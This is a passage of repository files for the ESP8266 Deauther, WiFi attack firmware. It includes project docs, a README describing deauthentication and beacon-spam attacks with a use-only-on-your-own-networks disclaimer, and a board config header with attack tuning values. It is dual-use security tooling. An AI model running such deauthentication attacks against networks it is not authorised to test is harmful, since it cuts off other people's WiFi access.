[
  {
    "path": ".github/CODE_OF_CONDUCT.md",
    "content": "# Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, OS choice, favourite programming language (especially if it's JavaScript), nationality, personal appearance, race, religion, or sexual identity and orientation.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment include:\n\n* Using welcoming and inclusive language\n* Being respectful of differing viewpoints and experiences\n* Gracefully accepting constructive criticism\n* Focusing on what is best for the community\n* Showing empathy towards other community members\n\nExamples of unacceptable behavior by participants include:\n\n* Calling this project a \"Jammer\"\n* The use of sexualized language or imagery and unwelcome sexual attention or advances\n* Trolling, insulting/derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or electronic address, without explicit permission\n* Other conduct which could reasonably be considered inappropriate in a professional setting such as promoting chicken foodism\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at mail@spacehuhn.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]\n\n[homepage]: http://contributor-covenant.org\n[version]: http://contributor-covenant.org/version/1/4/\n"
  },
  {
    "path": ".github/CONTRIBUTING.md",
    "content": "# Request for contributions\n\nPlease contribute to this repository if any of the following is true:\n- You have expertise in Arduino/ESP8266 development, WiFi, or C/C++\n- You want to help lower the burden to first time contributors\n- You want this open source community to be more collaborative and inclusive\n\n# How to contribute\n\nPrerequisites:\n\n- Familiarity with [pull requests](https://help.github.com/articles/using-pull-requests) and [issues](https://guides.github.com/features/issues/).\n- Knowledge of [Markdown](https://help.github.com/articles/markdown-basics/) for editing `.md` documents.\n- Knowledge of [WiFi Deauth](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) for understanding the project.\n\nIn particular, this community seeks the following types of contributions:\n\n- **Ideas**: participate in an issue thread or start your own to have your voice\nheard.\n- **Resources**: submit a pull request to add to RESOURCES.md with links to related content.\n- **Outline sections**: help us ensure that this repository is comprehensive. if\nthere is a topic that is overlooked, please add it, even if it is just a stub\nin the form of a header and single sentence. Initially, most things fall into\nthis category.\n- **Writing**: contribute your expertise in an area by helping us expand the included\ncontent.\n- **Copy editing**: fix typos, clarify language, and generally improve the quality\nof the content.\n- **Formatting**: help keep content easy to read with consistent formatting.\n\n<a name=\"bugs\"></a>\n## Bug reports\n\nA bug is a _demonstrable problem_ that is caused by the code in the repository.\nGood bug reports are extremely helpful - thank you!\n\nGuidelines for bug reports:\n\n1. **Use the GitHub issue search** &mdash; check if the issue has already been\n   reported.\n\n2. **Check if the issue has been fixed** &mdash; try to reproduce it using the\n   latest `master` or development branch in the repository.\n\n3. **Isolate the problem**.\n\nA good bug report shouldn't leave others needing to chase you up for more\ninformation. Please try to be as detailed as possible in your report. What is\nyour environment? What steps will reproduce the issue? What browser(s) and OS\nexperience the problem? What would you expect to be the outcome? All these\ndetails will help people to fix any potential bugs.\n\nExample:\n\n> Short and descriptive example bug report title\n>\n> A summary of the issue and the browser/OS environment in which it occurs. If\n> suitable, include the steps required to reproduce the bug.\n>\n> 1. This is the first step\n> 2. This is the second step\n> 3. Further steps, etc.\n>\n> `<url>` - a link to the serial output on pastebin\n> `<pic>` - a photo of your build with apparent wiring\n>\n> Any other information you want to share that is relevant to the issue being\n> reported. This might include the lines of code that you have identified as\n> causing the bug, and potential solutions (and your opinions on their\n> merits).\n\n\n<a name=\"features\"></a>\n## Feature requests\n\nFeature requests are welcome. But take a moment to find out whether your idea\nfits with the scope and aims of the project. It's up to *you* to make a strong\ncase to convince the project's developers of the merits of this feature. Please\nprovide as much detail and context as possible.\n\n\n<a name=\"pull-requests\"></a>\n## Pull requests\n\nGood pull requests - patches, improvements, new features - are a fantastic\nhelp. They should remain focused in scope and avoid containing unrelated\ncommits.\n\n**Please ask first** before embarking on any significant pull request (e.g.\nimplementing features, refactoring code, porting to a different language),\notherwise you risk spending a lot of time working on something that the\nproject's developers might not want to merge into the project.\n\nPlease adhere to the coding conventions used throughout a project (indentation,\naccurate comments, etc.) and any other requirements (such as test coverage).\n"
  },
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\ngithub: spacehuhntech\npatreon: # Replace with a single Patreon username\nopen_collective: # Replace with a single Open Collective username\nko_fi: spacehuhn\ntidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel\ncommunity_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry\nliberapay: # Replace with a single Liberapay username\nissuehunt: # Replace with a single IssueHunt username\notechie: # Replace with a single Otechie username\ncustom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/1--error-report.md",
    "content": "---\nname: 1. Problem or error report\nabout: I encountered a problem and need help to solve it\ntitle: \"\"\nlabels: help wanted\nassignees: ''\n---\n\n> Have you searched for existing (open and closed) issues describing the same problem?\n\nYes/No\n\n**Describe the error**\nA clear and concise description of what the problem is.\nWhat do you think causes it?\n\n```\nError/Compile/Output Log\n```\n\n**To Reproduce**\nSteps to reproduce the behavior:\n1. Go to '...'\n2. Click on '....'\n3. Scroll down to '....'\n4. See error\n\n**Expected behavior**\nA clear and concise description of what you expected to happen.\n\n**Screenshots**\nIf applicable, add screenshots to help explain your problem.\n\n**Environment (please complete the following information):**\n - OS: [e.g. iOS]\n - Browser [e.g. chrome, safari]\n - Version [e.g. 1.0]\n - Hardware [e.g. DSTIKE, DIY]\n\n**Attempts**\nWhat have you already tried and didn't work out.\n\n**Additional context**\nProvide as much information as possible, better too much than too little!\nIf you don't use this template, your issue might be closed and tagged invalid!\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/2--question.md",
    "content": "---\nname: 2. Question\nabout: I have a question about this project\ntitle: \"\"\nlabels: question\nassignees: ''\n\n---\n\n> Please search for existing (open and closed) issues first to avoid duplicates.  \nAlso have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki).  \n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/3--feature-request.md",
    "content": "---\nname: 3. Feature request\nabout: I have an idea to improve this project\ntitle: \"\"\nlabels: feature request\nassignees: ''\n\n---\n\n**Do similar feature requests issues already exist (open and closed)?**\nIf yes, please link them here:\n\n**Is your feature request related to a problem? Please describe.**\nA clear and concise description of what the problem is. Ex. I'm always frustrated when [...]\n\n**Describe the solution you'd like**\nA clear and concise description of what you want to happen.\n\n**Describe alternatives you've considered**\nA clear and concise description of any alternative solutions or features you've considered.\n\n**Additional context**\nAdd any other context or screenshots about the feature request here.\nIf you don't use this template, your issue might be closed and tagged invalid!\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/4--bug-report.md",
    "content": "---\nname: 4. Bug report\nabout: I found a reproducible bug in the code\ntitle: \"\"\nlabels: bug\nassignees: ''\n\n---\n\n**Describe the bug**\nA clear and concise description of what the bug is.\n\n**To Reproduce**\nSteps to reproduce the behavior:\n1. Go to '...'\n2. Click on '....'\n3. Scroll down to '....'\n4. See error\n\n**Expected behavior**\nA clear and concise description of what you expected to happen.\n\n**Screenshots**\nIf applicable, add screenshots to help explain your problem.\n\n**Environment (please complete the following information):**\n - OS: [e.g. iOS]\n - Browser [e.g. chrome, safari]\n - Version [e.g. 1.0]\n - Hardware [e.g. DSTIKE, DIY]\n\n**Additional context**\nAdd any other context about the problem here.\nIf you don't use this template, your issue might be closed and tagged invalid!\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/5--documentation.md",
    "content": "---\nname: 5. Documentation\nabout: I have something to improve or add to the docs\ntitle: ''\nlabels: documentation\nassignees: ''\n\n---\n\n**Describe your changes**\nA clear and concise description of what you like to add or change.\n\n**Location**\nWhere should these changes be made or the information published?\nWiki, README, ...\n\n**Additional context**\nAdd any other context about your proposal.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE.md",
    "content": "> Please search for existing (open and closed) issues first to avoid duplicates.  \nAlso have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki).  \n\n```\nPASTE YOUR ERROR/COMPILE LOGS HERE\n```"
  },
  {
    "path": ".github/config.yml",
    "content": "# Configuration for welcome - https://github.com/behaviorbot/welcome\nnewIssueWelcomeComment: >\n  Congrats on opening your first issue on this repository! 🎉<br>\n  This is a automated message to help you avoid common pitfalls when asking for help online.<br>\n  👉 Be sure to:<br>\n  * 🇬🇧 Communicate in English so everybody can understand you<br>\n  * 📖 Have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki) and [README](https://github.com/SpacehuhnTech/esp8266_deauther/blob/v2/README.md) for information<br>\n  * 🔍 Search for similar [issues (open and closed)](https://github.com/SpacehuhnTech/esp8266_deauther/issues?q=is%3Aissue+)<br>\n  * ✍️ Provide enough information to understand, recreate and help out with your problem<br>\n  * ℹ️ Let us know if you find a solution and please share it with us<br>\n  * 📕 Close the issue when your problem has been solved\n\nnewPRWelcomeComment: \n\nfirstPRMergeComment: \n"
  },
  {
    "path": ".github/stale.yml",
    "content": "# Number of days of inactivity before an issue becomes stale\ndaysUntilStale: 180\n# Number of days of inactivity before a stale issue is closed\ndaysUntilClose: 7\n# Issues with these labels will never be considered stale\nexemptLabels:\n  - pinned\n  - bug\n  - translation\n  - feature request\n# Label to use when marking an issue as stale\nstaleLabel: stale\n# Comment to post when marking an issue as stale. Set to `false` to disable\nmarkComment: >\n  This issue has been automatically marked as stale because it has not had\n  recent activity. It will be closed if no further activity occurs. Thank you\n  for your contributions.\n# Comment to post when closing a stale issue. Set to `false` to disable\ncloseComment: false\n"
  },
  {
    "path": ".github/workflows/nightly.yml",
    "content": "name: Trigger nightly build\n\non:\n  push:\n\njobs:\n\n  notify-nightly:\n    name: \"Trigger new build on nightly-deauther\"\n    runs-on: ubuntu-latest\n    steps:\n      - name: Build message title\n        id: notif\n        run: echo ::set-output name=TITLE::Deauther V2 $(echo ${{ github.sha }} | cut -c -7)\n          \n      - name: Send message\n        run: |\n          curl -X POST https://api.github.com/repos/spacehuhntech/nightly-deauther/dispatches \\\n          -H 'Accept: application/vnd.github.everest-preview+json' \\\n          -u ${{ secrets.ACCESS_TOKEN }} \\\n          --data '{\"event_type\": \"${{ steps.notif.outputs.TITLE }}\", \"client_payload\": {}}'\n"
  },
  {
    "path": ".gitignore",
    "content": "\n*.bin\n\n*.elf\n\n*.map\n\n.DS_Store\n\n*.pyc\n\nutils/web_converter/css_html_js_minify/__pycache__/\n"
  },
  {
    "path": "LICENSE",
    "content": "Do not redistribute, advertise or sell this software as a \"jammer\"!!!\n\nMIT License\n\nCopyright (c) 2020 Spacehuhn Technologies\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# ESP8266 Deauther\n\n<img src='https://deauther.com/img/logo.png' alt='Deauther Logo' width='200' />\n\n**Scan for WiFi devices, block selected connections, create dozens of networks and confuse WiFi scanners.**\n\n## New Documentation\n\nHi 👋  \nPlease visit [Deauther.com](https://deauther.com) for information about this project.  \nHere are some quick links:\n\n* [Buy](https://deauther.com/docs/buy)\n* [Download](https://deauther.com/docs/download)\n* [DIY Tutorial](https://deauther.com/docs/category/diy-tutorial)\n* [Usage](https://deauther.com/docs/category/usage)\n* [FAQ](https://deauther.com/docs/faq)\n\n## Password\n\nThe password for `pwned` is `deauther`\n\n## About this Project\n\nThis firmware allows you to easily perform a variety of actions to test 802.11 networks using an [ESP8266](https://www.espressif.com/en/products/socs/esp8266). It's also a great project for learning about WiFi, microcontrollers, Arduino, hacking and electronics/programming in general.  \n\nThe deauthentication attack is the main feature, which can be used to disconnect devices from their WiFi network.  \nAlthough this denial-of-service attack is nothing new, a lot of devices are still vulnerable to it. Luckily this is slowly changing with more WiFi 6 enabled devices being used. But a lot of outdated WiFi devices remain in place, for example in cheap IoT hardware.\nWith an ESP8266 Deauther, you can easily test this attack on your 2.4GHz WiFi network/devices and see whether it's successful or not. And if it is, you know you should upgrade your network.\n\n## Disclaimer\n\nThis project is a proof of concept for testing and educational purposes.  \nNeither the ESP8266, nor its SDK was meant or built for such purposes. **Bugs can occur!**  \n\n**Use it only against your own networks and devices!**  \nPlease check the legal regulations in your country before using it.  \nWe don't take any responsibility for what you do with this program.  "
  },
  {
    "path": "Reset_Sketch/README.md",
    "content": "# RESET\r\n\r\n## Method 1\r\n\r\nOpen the Reset_Sketch.ino and upload with the correct settings.  \r\n\r\n## Method 2\r\n\r\nFlash one of the `reset_` files.  \r\n\r\n## Method 3\r\n\r\nFlash the `blank_1MB.bin` to 0x000000 for 1MB modules.  \r\nFlash it to 0x000000, 0x100000, 0x200000 and 0x300000 for 4MB modules.  "
  },
  {
    "path": "Reset_Sketch/Reset_Sketch.ino",
    "content": "#include <EEPROM.h>\n#include <LittleFS.h>\n\n/*\n  Upload this sketch to your ESP8266 to erase \n  - all files in the SPIFFS, \n  - all data in the EEPROM\n  - WiFi credentials (SSID, password)\n\n  Also overwrites the previous program with this one (obviously).\n*/\n\nvoid setup() {\n  Serial.begin(115200);\n\n  Serial.println();\n  Serial.println(\"STARTING...\");\n  \n  EEPROM.begin(4096);\n  Serial.println(\"EEPROM initialized\");\n  \n  for (int i = 0; i < 4096; ++i){\n    EEPROM.write(i,0x00);\n  }\n\n  Serial.println(\"EEPROM cleaned\");\n\n  LittleFS.begin();\n  Serial.println(\"SPIFFS initialized\");\n\n  LittleFS.format();\n  Serial.println(\"SPIFFS cleaned\");\n  \n  ESP.eraseConfig();\n\n  Serial.println(\"WiFi credentials erased\");\n\n  Serial.println(\"DONE!\");\n\n  delay(10000);\n  \n  ESP.reset();\n}\n\nvoid loop() {\n  \n}\n"
  },
  {
    "path": "arduino-cli.yaml",
    "content": "# arduino-cli.yaml\nboard_manager:\n  additional_urls:\n    - https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json\n"
  },
  {
    "path": "esp8266_deauther/A_config.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#define ENABLE_DEBUG\n#define DEBUG_PORT Serial\n#define DEBUG_BAUD 115200\n\n#define DEFAULT_ESP8266\n\n// #define NODEMCU\n// #define WEMOS_D1_MINI\n// #define HACKHELD_VEGA\n// #define DISPLAY_EXAMPLE_I2C\n// #define DISPLAY_EXAMPLE_SPI\n\n// #define MALTRONICS\n// #define DSTIKE_DEAUTHER_V1\n// #define DSTIKE_DEAUTHER_V2\n// #define DSTIKE_DEAUTHER_V3\n// #define DSTIKE_DEAUTHER_V3_5\n// #define DSTIKE_D_DUINO_B_V5_LED_RING\n// #define DSTIKE_DEAUTHER_BOY\n// #define DSTIKE_NODEMCU_07\n// #define DSTIKE_NODEMCU_07_V2\n// #define DSTIKE_DEAUTHER_OLED\n// #define DSTIKE_DEAUTHER_OLED_V1_5_S\n// #define DSTIKE_DEAUTHER_OLED_V1_5\n// #define DSTIKE_DEAUTHER_OLED_V2\n// #define DSTIKE_DEAUTHER_OLED_V2_5\n// #define DSTIKE_DEAUTHER_OLED_V3\n// #define DSTIKE_DEAUTHER_OLED_V3_5\n// #define DSTIKE_DEAUTHER_OLED_V4\n// #define DSTIKE_DEAUTHER_OLED_V5\n// #define DSTIKE_DEAUTHER_OLED_V6\n// #define DSTIKE_DEAUTHER_MOSTER\n// #define DSTIKE_DEAUTHER_MOSTER_V2\n// #define DSTIKE_DEAUTHER_MOSTER_V3\n// #define DSTIKE_DEAUTHER_MOSTER_V4\n// #define DSTIKE_DEAUTHER_MOSTER_V5\n// #define DSTIKE_USB_DEAUTHER\n// #define DSTIKE_USB_DEAUTHER_V2\n// #define DSTIKE_DEAUTHER_WATCH\n// #define DSTIKE_DEAUTHER_WATCH_V2\n// #define DSTIKE_DEAUTHER_MINI\n// #define DSTIKE_DEAUTHER_MINI_EVO\n\n// #define LYASI_7W_E27_LAMP\n// #define AVATAR_5W_E14_LAMP\n\n// Forces formatting of SPIFFS and EEPROM ot startup\n// #define FORMAT_SPIFFS\n// #define FORMAT_EEPROM\n\n// Forces a reset of all settings at startup\n// #define RESET_SETTINGS\n\n// ========== CONFIGS ========== //\n\n// https://github.com/spacehuhntech/hackheld\n#if defined(HACKHELD_VEGA)\n// ===== LED ===== //\n  #define USE_LED true\n  #define LED_NEOPIXEL\n\n  #define LED_NEOPIXEL_GRB\n// #define LED_NEOPIXEL_RGB\n\n  #define LED_MODE_BRIGHTNESS 10\n\n  #define LED_NUM 1\n  #define LED_NEOPIXEL_PIN 15 // D8\n\n// ===== DISPLAY ===== //\n  #define USE_DISPLAY true\n  #define FLIP_DIPLAY true\n\n  #define SH1106_I2C\n\n  #define I2C_ADDR 0x3C\n  #define I2C_SDA 4      // D2\n  #define I2C_SCL 5      // D1\n\n// ===== BUTTONS ===== //\n  #define BUTTON_UP 14   // D5\n  #define BUTTON_DOWN 12 // D6\n  #define BUTTON_A 2     // D4\n  #define BUTTON_B 0     // D3\n\n// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-i2c-oled\n#elif defined(DISPLAY_EXAMPLE_I2C)\n\n// ===== DISPLAY ===== //\n  #define SH1106_I2C\n// #define SSD1306_I2C\n\n  #define I2C_ADDR 0x3C\n  #define I2C_SDA 5\n  #define I2C_SCL 4\n\n// #define FLIP_DIPLAY true\n\n// ===== BUTTONS ===== //\n  #define BUTTON_UP 14\n  #define BUTTON_DOWN 12\n  #define BUTTON_A 13\n\n// ===== LED ===== //\n  #define LED_NEOPIXEL_GRB\n// #define LED_NEOPIXEL_RGB\n\n  #define LED_NUM 1\n  #define LED_NEOPIXEL_PIN 9\n  #define LED_MODE_BRIGHTNESS 10\n\n\n// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-spi-oled\n#elif defined(DISPLAY_EXAMPLE_SPI)\n\n  #define SH1106_SPI\n// #define SSD1306_SPI\n\n  #define SPI_RES 5\n  #define SPI_DC 4\n  #define SPI_CS 15\n\n// #define FLIP_DIPLAY true\n\n// ===== BUTTONS ===== //\n  #define BUTTON_UP 0\n  #define BUTTON_DOWN 12\n  #define BUTTON_A 2\n\n// ===== LED ===== //\n  #define LED_NEOPIXEL_GRB\n// #define LED_NEOPIXEL_RGB\n\n  #define LED_NUM 1\n  #define LED_NEOPIXEL_PIN 9\n  #define LED_MODE_BRIGHTNESS 10\n\n#elif defined(MALTRONICS)\n\n// ===== Reset ====== //\n  #define RESET_BUTTON 5\n\n// ===== LED ===== //\n  #define LED_DOTSTAR\n  #define LED_NUM 1\n  #define LED_DOTSTAR_CLK 12\n  #define LED_DOTSTAR_DATA 13\n  #define LED_MODE_BRIGHTNESS 255\n\n// ===== Web ===== //\n#define WEB_IP_ADDR (192, 168, 4, 2)\n#define WEB_URL \"deauther.tools\"\n\n#elif defined(DSTIKE_D_DUINO_B_V5_LED_RING)\n\n// ===== LED ===== //\n  #define LED_NEOPIXEL_GRB\n  #define LED_NUM 12\n  #define LED_NEOPIXEL_PIN 15\n\n// ===== DISPLAY ===== //\n  #define SH1106_I2C\n  #define FLIP_DIPLAY true\n  #define DISPLAY_TEXT \"Hardware by DSTIKE\"\n\n// ===== BUTTONS ===== //\n  #define BUTTON_UP 12\n  #define BUTTON_DOWN 13\n  #define BUTTON_A 14\n\n#elif defined(DSTIKE_DEAUTHER_BOY)\n\n// ===== LED ===== //\n  #define LED_NEOPIXEL_GRB\n  #define LED_NUM 1\n  #define LED_NEOPIXEL_PIN 15\n\n// ===== DISPLAY ===== //\n  #define SH1106_I2C\n  #define FLIP_DIPLAY true\n  #define DISPLAY_TEXT \"Hardware by DSTIKE\"\n\n// ===== BUTTONS ===== //\n  #define BUTTON_UP 10\n  #define BUTTON_DOWN 9\n  #define BUTTON_A 14\n  #define BUTTON_B 12\n\n#elif defined(DSTIKE_DEAUTHER_V3_5) || defined(DSTIKE_NODEMCU_07_V2)\n\n// ===== LED ===== //\n  #define LED_NEOPIXEL_GRB\n  #define LED_NUM 1\n  #define LED_NEOPIXEL_PIN 15\n\n#elif defined(DSTIKE_DEAUTHER_OLED_V1_5_S)\n\n// ===== LED ===== //\n  #define LED_NEOPIXEL_GRB\n  #define LED_NUM 1\n  #define LED_NEOPIXEL_PIN 15\n\n// ===== DISPLAY ===== //\n  #define SH1106_I2C\n  #define FLIP_DIPLAY true\n  #define DISPLAY_TEXT \"Hardware by DSTIKE\"\n\n// ===== BUTTONS ===== //\n  #define BUTTON_UP 12\n  #define BUTTON_DOWN 13\n  #define BUTTON_A 14\n\n#elif defined(DSTIKE_DEAUTHER_OLED) || defined(DSTIKE_DEAUTHER_OLED_V1_5)\n\n// ===== LED ===== //\n  #define LED_DIGITAL\n\n  #define LED_PIN_R 16\n  #define LED_PIN_B 2\n\n// ===== DISPLAY ===== //\n  #define SSD1306_I2C\n  #define FLIP_DIPLAY true\n  #define DISPLAY_TEXT \"Hardware by DSTIKE\"\n\n// ===== BUTTONS ===== //\n  #define BUTTON_UP 12\n  #define BUTTON_DOWN 13\n  #define BUTTON_A 14\n\n#elif defined(DSTIKE_DEAUTHER_OLED_V2) || defined(DSTIKE_DEAUTHER_OLED_V2_5)  || defined(DSTIKE_DEAUTHER_OLED_V3)\n\n// ===== LED ===== //\n  #define LED_DIGITAL\n\n  #define LED_PIN_R 16\n  #define LED_PIN_B 2\n\n// ===== DISPLAY ===== //\n  #define SH1106_I2C\n  #define FLIP_DIPLAY true\n  #define DISPLAY_TEXT \"Hardware by DSTIKE\"\n\n// ===== BUTTONS ===== //\n  #define BUTTON_UP 12\n  #define BUTTON_DOWN 13\n  #define BUTTON_A 14\n\n#elif defined(DSTIKE_DEAUTHER_OLED_V3_5) || defined(DSTIKE_DEAUTHER_OLED_V4)  || defined(DSTIKE_DEAUTHER_OLED_V5)  || defined(DSTIKE_DEAUTHER_MOSTER)  || defined(DSTIKE_DEAUTHER_MOSTER_V2)  || defined(DSTIKE_DEAUTHER_MOSTER_V3)  || defined(DSTIKE_DEAUTHER_MOSTER_V4)\n\n// ===== LED ===== //\n  #define LED_NEOPIXEL_GRB\n  #define LED_NUM 1\n  #define LED_NEOPIXEL_PIN 15\n\n// ===== DISPLAY ===== //\n  #define SH1106_I2C\n  #define FLIP_DIPLAY true\n  #define DISPLAY_TEXT \"Hardware by DSTIKE\"\n\n// ===== BUTTONS ===== //\n  #define BUTTON_UP 12\n  #define BUTTON_DOWN 13\n  #define BUTTON_A 14\n\n#elif defined(DSTIKE_DEAUTHER_OLED_V6) || defined(DSTIKE_DEAUTHER_MOSTER_V5)\n\n// ===== LED ===== //\n  #define LED_NEOPIXEL_GRB\n  #define LED_NUM 1\n  #define LED_NEOPIXEL_PIN 15\n\n  #define HIGHLIGHT_LED 16\n\n// ===== DISPLAY ===== //\n  #define SH1106_I2C\n  #define FLIP_DIPLAY true\n  #define DISPLAY_TEXT \"Hardware by DSTIKE\"\n\n  #define RTC_DS3231\n\n// ===== BUTTONS ===== //\n  #define BUTTON_UP 12\n  #define BUTTON_DOWN 13\n  #define BUTTON_A 14\n\n#elif defined(DSTIKE_USB_DEAUTHER_V2)\n\n// ===== LED ===== //\n  #define LED_NEOPIXEL_GRB\n  #define LED_NUM 1\n  #define LED_NEOPIXEL_PIN 4\n\n#elif defined(DSTIKE_DEAUTHER_WATCH) || defined(DSTIKE_DEAUTHER_MINI)\n\n// ===== LED ===== //\n  #define LED_NEOPIXEL_GRB\n  #define LED_NUM 1\n  #define LED_NEOPIXEL_PIN 15\n\n  #define HIGHLIGHT_LED 16\n\n// ===== DISPLAY ===== //\n  #define SH1106_I2C\n  #define FLIP_DIPLAY true\n  #define DISPLAY_TEXT \"Hardware by DSTIKE\"\n\n// ===== BUTTONS ===== //\n  #define BUTTON_UP 12\n  #define BUTTON_DOWN 13\n  #define BUTTON_A 14\n\n#elif defined(DSTIKE_DEAUTHER_WATCH_V2) || defined(DSTIKE_DEAUTHER_MINI_EVO)\n\n// ===== LED ===== //\n  #define LED_NEOPIXEL_GRB\n  #define LED_NUM 1\n  #define LED_NEOPIXEL_PIN 15\n\n  #define HIGHLIGHT_LED 16\n\n// ===== DISPLAY ===== //\n  #define SH1106_I2C\n  #define FLIP_DIPLAY true\n  #define DISPLAY_TEXT \"Hardware by DSTIKE\"\n\n  #define RTC_DS3231\n\n// ===== BUTTONS ===== //\n  #define BUTTON_UP 12\n  #define BUTTON_DOWN 13\n  #define BUTTON_A 14\n\n#elif defined(LYASI_7W_E27_LAMP)\n\n// ===== LED ===== //\n #define LED_MY92\n\n #define LED_MODE_OFF 0, 0, 0\n #define LED_MODE_SCAN 0, 0, 255\n #define LED_MODE_ATTACK 255, 0, 0\n #define LED_MODE_IDLE 0, 255, 0\n #define LED_MODE_BRIGHTNESS 10\n\n #define LED_NUM 1\n #define LED_MY92_DATA 4\n #define LED_MY92_CLK 5\n #define LED_MY92_CH_R 0\n #define LED_MY92_CH_G 1\n #define LED_MY92_CH_B 2\n #define LED_MY92_CH_BRIGHTNESS 3\n #define LED_MY92_MODEL MY92XX_MODEL_MY9291\n\n#elif defined(AVATAR_5W_E14_LAMP)\n\n// ===== LED ===== //\n #define LED_MY92\n\n #define LED_MODE_OFF 0, 0, 0\n #define LED_MODE_SCAN 0, 0, 255\n #define LED_MODE_ATTACK 255, 0, 0\n #define LED_MODE_IDLE 0, 255, 0\n #define LED_MODE_BRIGHTNESS 10\n\n #define LED_NUM 1\n #define LED_MY92_DATA 13\n #define LED_MY92_CLK 15\n #define LED_MY92_CH_R 0\n #define LED_MY92_CH_G 1\n #define LED_MY92_CH_B 2\n #define LED_MY92_CH_BRIGHTNESS 3\n #define LED_MY92_MODEL MY92XX_MODEL_MY9291\n\n#elif defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3)\n// ===== LED ===== //\n// #define LED_DIGITAL\n// #define LED_PIN_R 16 // NodeMCU on-board LED\n// #define LED_PIN_B 2  // ESP-12 LED\n\n#endif /* if defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3) */\n// ============================== //\n\n\n// ========= FALLBACK ========= //\n\n// ===== AUTOSAVE ===== //\n#ifndef AUTOSAVE_ENABLED\n  #define AUTOSAVE_ENABLED true\n#endif /* ifndef ATTACK_ALL_CH */\n\n#ifndef AUTOSAVE_TIME\n  #define AUTOSAVE_TIME 60\n#endif /* ifndef ATTACK_ALL_CH */\n\n// ===== ATTACK ===== //\n#ifndef ATTACK_ALL_CH\n  #define ATTACK_ALL_CH false\n#endif /* ifndef ATTACK_ALL_CH */\n\n#ifndef RANDOM_TX\n  #define RANDOM_TX false\n#endif /* ifndef RANDOM_TX */\n\n#ifndef ATTACK_TIMEOUT\n  #define ATTACK_TIMEOUT 600\n#endif /* ifndef ATTACK_TIMEOUT */\n\n#ifndef DEAUTHS_PER_TARGET\n  #define DEAUTHS_PER_TARGET 25\n#endif /* ifndef DEAUTHS_PER_TARGET */\n\n#ifndef DEAUTH_REASON\n  #define DEAUTH_REASON 1\n#endif /* ifndef DEAUTH_REASON */\n\n#ifndef BEACON_INTERVAL_100MS\n  #define BEACON_INTERVAL_100MS true\n#endif /* ifndef BEACON_INTERVAL_100MS */\n\n#ifndef 